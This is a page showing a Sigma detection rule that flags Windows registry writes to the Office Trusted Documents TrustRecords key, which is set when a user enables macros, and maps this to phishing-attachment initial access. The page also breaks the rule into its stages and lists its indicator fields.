author: Antonlovesdnb, Trent Liffick (@tliffick)
date: 2020-02-19
modified: 2023-06-21
tags:
    - attack.initial-access
    - attack.t1566.001
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains: '\Security\Trusted Documents\TrustRecords'
    condition: selection
falsepositives:
    - This will alert on legitimate macro usage as well, additional tuning is required
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|contains: '\Security\Trusted Documents\TrustRecords'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetObjectmatch
  • \Security\Trusted Documents\TrustRecords corpus 2 (sigma 2)
field:"TargetObject" kind:match value:"\Security\Trusted Documents\TrustRecords"

Back to all Sigma rules